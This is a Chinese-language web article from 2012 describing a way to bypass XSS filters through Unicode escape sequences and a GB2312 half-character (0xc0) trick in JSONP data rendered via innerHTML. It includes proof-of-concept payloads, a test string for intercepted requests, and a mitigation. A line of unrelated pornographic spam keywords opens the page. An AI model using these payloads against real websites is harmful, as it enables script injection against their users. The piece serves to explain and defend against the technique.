亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

一種新型的繞過XSS防御的方法介紹

  發(fā)布時(shí)間:2012-10-19 16:34:36   作者:佚名   我要評(píng)論
大家都知道,普遍的防御XSS攻擊的方法是在后臺(tái)對(duì)以下字符進(jìn)行轉(zhuǎn)義:<、>、’、”,但是經(jīng)過本人的研究發(fā)現(xiàn),在一些特殊場(chǎng)景下,即使對(duì)以上字符進(jìn)行了轉(zhuǎn)義,還是可以執(zhí)行XSS攻擊的。
大家都知道,普遍的防御XSS攻擊的方法是在后臺(tái)對(duì)以下字符進(jìn)行轉(zhuǎn)義:<、>、’、”,但是經(jīng)過本人的研究發(fā)現(xiàn),在一些特殊場(chǎng)景下,即使對(duì)以上字符進(jìn)行了轉(zhuǎn)義,還是可以執(zhí)行XSS攻擊的。
首先看一個(gè)JS的例子:
<script>
    var s = "\u003c\u003e";
    alert(s);
</script>運(yùn)行這段代碼,結(jié)果顯示如下:
看到這么熟悉的尖括號(hào),大家會(huì)不會(huì)有一些興奮的感覺呢?JS代碼中并沒有出現(xiàn)尖括號(hào),可是運(yùn)行時(shí)卻輸出了尖括號(hào)!??!這意味著:可以通過\u003c和\u003e來(lái)代替<和>??墒窃撊绾卫眠@個(gè)特性來(lái)構(gòu)造XSS攻擊呢?繼續(xù)看一個(gè)例子:
<div id='s'>
test
</div>
<script>
    var s = "\u003cimg src=1 onerror=alert(/xss/)\u003e";
    document.getElementById('s').innerHTML = s;
</script>運(yùn)行上面代碼,結(jié)果顯示如下:
在沒有尖括號(hào)的情況下,成功實(shí)現(xiàn)了一個(gè)彈框的案例。
現(xiàn)在來(lái)設(shè)想一個(gè)更貼近實(shí)際開發(fā)情況的例子:
(1)假設(shè)某站的首頁(yè):http://www.xxxx.com /main.html,其代碼為:
<div id="test">
   aa
</div>
<script>
   function callback(obj)
   {
       document.getElementById("test").innerHTML = obj.name;
   }
</script>
<script src=" http://www.victim.com/getcontent"></script>(2)http://www.victim.com/getcontent返回的內(nèi)容格式如下:
callback({"name":"xx"}); 其中name的值是用戶的昵稱。 
這個(gè)例子簡(jiǎn)單模擬了異步拉取信息并進(jìn)行顯示的情況。
現(xiàn)在假設(shè)用戶的昵稱為:
\u003cimg src=1 onerror=alert(/xss/)\u003e 那么會(huì)是什么情況呢?
首先getcontent返回的昵稱應(yīng)該是這樣的:
\\u003cimg src=1 onerror=alert(/xss/)\\u003e因?yàn)楹笈_(tái)輸出JSON格式數(shù)據(jù)時(shí),一般都會(huì)在\前面添加轉(zhuǎn)義符進(jìn)行轉(zhuǎn)義。
接著main.html的callback函數(shù)應(yīng)該是等價(jià)于執(zhí)行下面的語(yǔ)句:
document.getElementById("test").innerHTML =" \\u003cimg src=1 onerror=alert(/xss/)\\u003e";顯示的結(jié)果如下: 
很遺憾,沒有彈出框。原因是原來(lái)的轉(zhuǎn)義序列\(zhòng)u003c并沒有生效,被添加的轉(zhuǎn)義符轉(zhuǎn)義掉了。
不過這里假設(shè)返回昵稱時(shí)對(duì)\進(jìn)行了轉(zhuǎn)義,但實(shí)際情況下,有時(shí)輸出json格式數(shù)據(jù)時(shí)是沒有對(duì)\進(jìn)行轉(zhuǎn)義的,那樣就會(huì)觸發(fā)漏洞。
對(duì)于有對(duì)\進(jìn)行轉(zhuǎn)義的,這時(shí)就輪到我們強(qiáng)大的半字符出場(chǎng)了。對(duì)于半字符的問題,這里并不打算詳細(xì)講,說(shuō)下結(jié)論:
對(duì)于gb2312編碼," [0xc0]\ "是一個(gè)合法的編碼,顯示為:"繺"。
對(duì)于UTF-8編碼,在IE6下,上述組合也是一個(gè)合法的編碼。
其中[0xc0]表示一個(gè)十六進(jìn)制的值。
現(xiàn)在修改昵稱為:
[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e,getcontent輸出:
callback({"name":"[0xc0]\\u003cimg src=1 onerror=alert(/xss/) [0xc0]\\u003e"});由于半字符[0xc0]的存在,在解釋上述JS代碼時(shí),等價(jià)于:
callback({"name":"繺\u003cimg src=1 onerror=alert(/xss/) 繺\u003e"});可見,轉(zhuǎn)義序列\(zhòng)u003c終于又回來(lái)了,顯示結(jié)果如下:
上述昵稱中并沒有出現(xiàn)單雙引號(hào),尖括號(hào),所以如果后臺(tái)只是對(duì)單雙引號(hào)和尖括號(hào)進(jìn)行轉(zhuǎn)義,那么是可以被繞過防御的。
總結(jié):
(1)利用場(chǎng)景:輸出內(nèi)容在JS代碼里,并且被動(dòng)態(tài)顯示出來(lái)(如使用innerHTML)。
(2)測(cè)試方法:截獲請(qǐng)求包,修改參數(shù)為:
%c0\u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0\u003e(3)防御方法:后臺(tái)對(duì)半字符,反斜杠,單雙引號(hào),尖括號(hào)進(jìn)行處理。
一切皆有可能,跨站無(wú)處不在,發(fā)揮偶們強(qiáng)大的智慧來(lái)挖掘吧

相關(guān)文章

最新評(píng)論